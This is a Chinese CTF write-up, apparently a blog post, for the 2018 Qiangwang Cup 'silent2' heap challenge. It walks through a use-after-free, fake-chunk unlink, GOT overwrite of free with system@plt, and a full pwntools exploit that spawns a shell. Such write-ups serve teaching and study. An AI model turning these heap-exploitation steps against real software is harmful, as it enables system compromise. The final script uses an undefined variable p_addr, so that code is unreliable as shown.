2018强网杯silent2

原创

snowleopard_bin 于 2018-09-26 20:55:20 发布 491 收藏
分类专栏： CTF 文章标签： CTF

看了雪论坛里一位大佬的writeup，感到一丝迷茫，遂另起炉灶，提供另一种类似的做法，我多加了解释，应该会更加通俗易懂。

```
leo@ubuntu:~/Desktop$ checksec silent2
[*] '/home/leo/Desktop/silent2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

发现NX、Canary都开了，但Partial RELRO说明可以修改got表，PIE说明没有地址随机化，就可以直接利用IDA中看到的地址，不需要计算libc偏移了

先看main函数

```
while ( 1 )
{
  __isoc99_scanf("%d", &v3);
  getchar();
  switch ( v3 )
  {
    case 2:
      sub_400AB7();
      break;
    case 3:
      sub_400B2F();
      break;
    case 1:
      sub_4009DC();
      break;
  }
}
```

case1:功能就是create啦

```
__int64 sub_4009DC()
{
  size_t size; // [sp+0h] [bp-20h]@1
  unsigned __int64 i; // [sp+8h] [bp-18h]@4
  void *v3; // [sp+10h] [bp-10h]@4
  __int64 v4; // [sp+18h] [bp-8h]@1

  v4 = *MK_FP(__FS__, 40LL);
  __isoc99_scanf("%lu", &size);
  getchar();
  if ( size != 16 && size <= 0x7F )
    exit(0);
  v3 = malloc(size);
  sub_4008B6(v3, size);
  for ( i = 0LL; i <= 9 && *(_QWORD *)&s[8 * i]; ++i )
    ;
  if ( i == 10 )
    exit(0);
  *(_QWORD *)&s[8 * i] = v3;
  return 0LL;
}
```

注意到*&s[8*i] = v3这句，说明是用s这个数组来存储堆地址的，并且最多存储10个至少为0x80大小（或0x10）的堆

case2:功能就是删除delete

```
signed __int64 sub_400AB7()
{
  signed __int64 result; // rax@3
  __int64 v1; // rdx@5
  int v2; // [sp+4h] [bp-Ch]@1
  __int64 v3; // [sp+8h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 >= 0 && v2 <= 9 )
  {
    free(*(void **)&s[8 * v2]);
    result = 0LL;
  }
  else
  {
    result = 0xFFFFFFFFLL;
  }
  v1 = *MK_FP(__FS__, 40LL) ^ v3;
  return result;
}
```

注意到free后没有给数组该元素设置为0，存在UAF漏洞

case3:功能是编辑edit

```
signed __int64 sub_400B2F()
{
  signed __int64 result; // rax@3
  __int64 v1; // rcx@5
  int v2; // [sp+0h] [bp-10h]@1
  int v3; // [sp+4h] [bp-Ch]@4
  __int64 v4; // [sp+8h] [bp-8h]@1

  v4 = *MK_FP(__FS__, 40LL);
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 >= 0 && v2 <= 9 )
  {
    v3 = strlen(*(const char **)&s[8 * v2]);
    sub_4008B6(*(void **)&s[8 * v2], v3 + 1);
    sub_4008B6(&unk_602120, 48LL);
    result = 0LL;
  }
  else
  {
    result = 0xFFFFFFFFLL;
  }
  v1 = *MK_FP(__FS__, 40LL) ^ v4;
  return result;
}
```

可惜这里长度不能自定义，只能根据原堆大小进行写数据，因此光看这里不存在溢出情况。

另外这里奇怪的是往0x602120的bss段中写入48个字符，或许这里也可以做文章，但我做的时候将他忽视。

看完源码后提出以下思路：

目的是执行system('/bin/sh')-->修改某个函数的（strlen或者free等）got表为system_plt-->利用unlink任意地址写

先至少建立5个堆，然后将第4个和第5个堆free掉（不懂的可以参考我在CSDN中的unlink），以在unlink中构成chunk3->chunk0->target_addr的篡改链

```
create(0x90,'aaaa')#0
create(0x90,'/bin/sh\x00')#1
create(0x90,'cccc')#2
create(0x90,'dddd')#3
create(0x90,'eeee')#4
delete(3)
delete(4)
```

然后利用UAF漏洞对第4、5个堆进行伪造

```
fd =p64(p_addr-0x18)
bk =p64(p_addr-0x10)
payload =p64(0) +p64(0x91) +fd +bk +'a'*0x70  #3  pre_size + size + fd + bk + data
payload +=p64(0x90) +p64(0xa0)    #4    pre_size + size
create(0x130,payload)
```

这里有个知识点，虽然说malloc后返回的不是头部而是data数据段了，但看源码后才明白需要修改这个头部才能unlink

```
    if (!prev_inuse(p)) {    //检查size最低位，看是否空闲
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));    //将p前移prevsize个字节
      unlink(av, p, bck, fwd);
    }
```

这里将指针前移的偏移量为prevsize，也即只能前移到该0x130大chunk的数据段初始位置，因此需要在这里伪造一个头部绕过unlink检查。

```
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");
```

p64(0) + p64(0x91)，关键是这个0x91和0x90大小一致（最低位只表示是否空闲，对实际大小无影响）

接下来就是free来触发unlink了

```
#unlink
delete(4)
```

这样一来，就完成了 chunk3->chunk0->target_addr的篡改链

接下去就是利用该篡改链修改函数got表了

这里可以选择strlen，也可以选择free，但最终触发的指令得相应改变了

```
modify(3,p64(free_got))
modify(0,p64(system_plt))
```

先往chunk3中写入free_got的地址，这样chunk0中保存的就是free_got了

然后往chunk0中写入system_plt，这样就相当于往free_got中写入system_plt了

如此一来就成功修改got表了

最后就用free('/bin/sh')来触发system('/bin/sh')，由于开始时我就往chunk1中写入了bin/sh了，这里直接用就行了

```
delete(1)
```

成功渗透，O(∩_∩)O哈哈~

最后贴上exp

```
from pwn import *
#p = process('./silent2')
cn = remote('127.0.0.1',9527)
def create(size, content):
    cn.sendline('1')
    cn.sendline(str(size))
    cn.sendline(content)

def modify(idx, content1):
    cn.sendline('3')
    cn.sendline(str(idx))
    cn.sendline(content1)

def delete(idx):
    cn.sendline('2')
    cn.sendline(str(idx))

print cn.recv()
free_got = 0x602018
strlen_got = 0x602020
system_plt = 0x400730
create(0x90,'aaaa')#0
create(0x90,'/bin/sh\x00')#1
create(0x90,'cccc')#2
create(0x90,'dddd')#3
create(0x90,'eeee')#4

delete(3)
delete(4)
fd = p64(p_addr-0x18)
bk = p64(p_addr-0x10)
payload = p64(0) + p64(0x91) + fd + bk + 'a'*0x70#3
payload +=p64(0x90) + p64(0xa0)#4
create(0x130,payload)
#unlink
delete(4)

modify(3,p64(free_got))
modify(0,p64(system_plt))
delete(1)
cn.interactive()
```

大家可以相互交流，不懂的可以提出，我尽快回答；我出错的，希望能指出，共同进步！！！